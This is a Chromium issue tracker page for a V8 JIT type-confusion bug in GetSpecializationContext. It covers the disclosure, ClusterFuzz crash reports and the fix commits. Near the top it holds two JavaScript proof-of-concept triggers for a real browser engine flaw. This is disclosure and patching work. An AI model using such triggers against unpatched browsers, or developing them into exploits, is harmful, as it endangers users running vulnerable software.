New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.

Issue 794822 link

Starred by 1 user

Issue metadata

Status: Verified
Owner:
Last visit 23 days ago
Closed: Dec 2017
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Linux , Android , Windows , Chrome , Mac
Pri: 1
Type: Bug-Security



Sign in to add a comment

Security: V8: JIT: Type confusion in GetSpecializationContext

Project Member Reported by lokihardt@google.com, Dec 14 2017

Issue description

PoC:
function* opt(arg = () => arg) {
    let tmp = opt.x;  // LdaNamedProperty
    for (;;) {
        arg;
        yield;

        function inner() {
            tmp;
        }

        break;
    }
}

for (let i = 0; i < 100000; i++) {
    opt();
}

PoC for release build:
function* opt(arg = () => {
    arg;
    this;
}, opt) {
    let tmp = arg.x;
    for (;;) {
        arg;
        yield;

        tmp = {
            inner() {
                tmp;
            }
        };
    }
}

for (let i = 0; i < 10000; i++) {
    opt();
}

What happened:
1. The LdaNamedProperty operation "opt.x" was lowered to a graph exit in the graph builder. This set the current environment to nullptr (BytecodeGraphBuilder::ApplyEarlyReduction).
2. The environment for the next block (for-loop) was supposed to be created from merging with the previous environment, but it had been set to nullptr at 1. So the context value remained as "undefined".
3. But GetSpecializationContext directly casted the context value to Context* which resulted in type confusion.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
 
Project Member

Comment 1 by ClusterFuzz, Dec 14 2017

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=6015023028895744.
Components: Blink>JavaScript
Labels: OS-Android OS-Chrome OS-Linux OS-Mac OS-Windows
Owner: mstarzinger@chromium.org
Status: Assigned (was: Unconfirmed)
Project Member

Comment 3 by ClusterFuzz, Dec 14 2017

Labels: Security_Impact-Stable
Detailed report: https://clusterfuzz.com/testcase?key=6015023028895744

Job Type: linux_asan_chrome_mp
Crash Type: Null-dereference READ
Crash Address: 0x000000000000
Crash State:
  v8::internal::compiler::JSGraph::Constant
  v8::internal::compiler::JSContextSpecialization::ReduceJSLoadContext
  v8::internal::compiler::GraphReducer::Reduce
  
Sanitizer: address (ASAN)

Regressed: https://clusterfuzz.com/revisions?job=linux_asan_chrome_mp&range=499408:499653

Reproducer Testcase: https://clusterfuzz.com/download?testcase_id=6015023028895744

See https://github.com/google/clusterfuzz-tools for more information.
Project Member

Comment 4 by ClusterFuzz, Dec 14 2017

Components: Blink>JavaScript>Compiler
Labels: Test-Predator-Auto-Components
Automatically applying components based on crash stacktrace and information from OWNERS files.

If this is incorrect, please apply the Test-Predator-Wrong-Components label.
Cc: mstarzinger@chromium.org
Owner: jarin@chromium.org

Comment 6 by jarin@chromium.org, Dec 14 2017

Cc: jarin@chromium.org
Owner: neis@chromium.org
Georg, could you take a look, please? It seems generators do not like loops to be entered with dead environments.
Project Member

Comment 7 by sheriffbot@chromium.org, Dec 14 2017

Labels: M-63

Comment 8 by neis@chromium.org, Dec 14 2017

Status: Started (was: Assigned)
Thanks for the report.
Project Member

Comment 9 by bugdroid1@chromium.org, Dec 15 2017

The following revision refers to this bug:
  https://chromium.googlesource.com/v8/v8.git/+/649ab060c05bc40db696c74ca9ac95093ef9b433

commit 649ab060c05bc40db696c74ca9ac95093ef9b433
Author: Georg Neis <neis@chromium.org>
Date: Fri Dec 15 13:47:14 2017

[compiler] Don't assume a HeapConstant context input is a Context.

In a generator containing loops, there are always certain control flow
paths that are impossible, due to the way we represent generators at the
bytecode level.  Unfortunately, the graph builder can't tell that these
paths are impossible.  In combination with dead code, it can then happen
that we build a subgraph (for unreachable code) whose incoming context
is the undefined oddball.  JSContextSpecialization did not expect that.

Bug:  chromium:794822 
Change-Id: I259be5ae6c5f5adc8fca19c64bf71285ee922b7a
Reviewed-on: https://chromium-review.googlesource.com/828954
Reviewed-by: Benedikt Meurer <bmeurer@chromium.org>
Commit-Queue: Georg Neis <neis@chromium.org>
Cr-Commit-Position: refs/heads/master@{#50129}
[modify] https://crrev.com/649ab060c05bc40db696c74ca9ac95093ef9b433/src/compiler/js-context-specialization.cc
[add] https://crrev.com/649ab060c05bc40db696c74ca9ac95093ef9b433/test/mjsunit/regress/regress-794822.js

Project Member

Comment 10 by ClusterFuzz, Dec 16 2017

ClusterFuzz has detected this issue as fixed in range 524435:524437.

Detailed report: https://clusterfuzz.com/testcase?key=6015023028895744

Job Type: linux_asan_chrome_mp
Crash Type: Null-dereference READ
Crash Address: 0x000000000000
Crash State:
  v8::internal::compiler::JSGraph::Constant
  v8::internal::compiler::JSContextSpecialization::ReduceJSLoadContext
  v8::internal::compiler::GraphReducer::Reduce
  
Sanitizer: address (ASAN)

Regressed: https://clusterfuzz.com/revisions?job=linux_asan_chrome_mp&range=499408:499653
Fixed: https://clusterfuzz.com/revisions?job=linux_asan_chrome_mp&range=524435:524437

Reproducer Testcase: https://clusterfuzz.com/download?testcase_id=6015023028895744

See https://github.com/google/clusterfuzz-tools for more information.

If you suspect that the result above is incorrect, try re-doing that job on the test case report page.
Project Member

Comment 11 by ClusterFuzz, Dec 16 2017

Labels: ClusterFuzz-Verified
Status: Verified (was: Started)
ClusterFuzz testcase 6015023028895744 is verified as fixed, so closing issue as verified.

If this is incorrect, please add ClusterFuzz-Wrong label and re-open the issue.
Project Member

Comment 12 by sheriffbot@chromium.org, Dec 16 2017

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 13 by neis@chromium.org, Dec 18 2017

Labels: Merge-Request-64

Comment 14 by neis@chromium.org, Dec 18 2017

Cc: hablich@chromium.org
Project Member

Comment 15 by sheriffbot@chromium.org, Dec 18 2017

Labels: -Merge-Request-64 Hotlist-Merge-Review Merge-Review-64
This bug requires manual review: M64 has already been promoted to the beta branch, so this requires manual review
Please contact the milestone owner if you have questions.
Owners: cmasso@(Android), cmasso@(iOS), kbleicher@(ChromeOS), abdulsyed@(Desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Cc: awhalley@chromium.org
+awhalley/hablich@
abdulsyed@ - looks good to merge to me.
Labels: -Merge-Review-64 Merge-Approved-64
Approving merge to M64. Branch:3282
Project Member

Comment 19 by bugdroid1@chromium.org, Dec 19 2017

Labels: merge-merged-6.4
The following revision refers to this bug:
  https://chromium.googlesource.com/v8/v8.git/+/0d2f40d1eacbf80dca44bbcf7634eeced39ff6e4

commit 0d2f40d1eacbf80dca44bbcf7634eeced39ff6e4
Author: Georg Neis <neis@chromium.org>
Date: Tue Dec 19 11:44:27 2017

Merged: [compiler] Don't assume a HeapConstant context input is a Context.

Revision: 649ab060c05bc40db696c74ca9ac95093ef9b433

BUG= chromium:794822 
LOG=N
NOTRY=true
NOPRESUBMIT=true
NOTREECHECKS=true
R=sigurds@chromium.org

Change-Id: I201d016de010d364581a627851d4ffe6ef774afb
Reviewed-on: https://chromium-review.googlesource.com/832479
Commit-Queue: Georg Neis <neis@chromium.org>
Reviewed-by: Benedikt Meurer <bmeurer@chromium.org>
Cr-Commit-Position: refs/branch-heads/6.4@{#18}
Cr-Branched-From: 0407506af3d9d7e2718be1d8759296165b218fcf-refs/heads/6.4.388@{#1}
Cr-Branched-From: a5fc4e085ee543cb608eb11034bc8f147ba388e1-refs/heads/master@{#49724}
[modify] https://crrev.com/0d2f40d1eacbf80dca44bbcf7634eeced39ff6e4/src/compiler/js-context-specialization.cc
[add] https://crrev.com/0d2f40d1eacbf80dca44bbcf7634eeced39ff6e4/test/mjsunit/regress/regress-794822.js

Comment 20 by neis@chromium.org, Dec 19 2017

Labels: -Merge-Approved-64
Labels: Release-0-M64
Project Member

Comment 22 by sheriffbot@chromium.org, Mar 24 2018

Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 23 by sheriffbot@chromium.org, Mar 27 2018

Labels: -M-63 M-65

Sign in to add a comment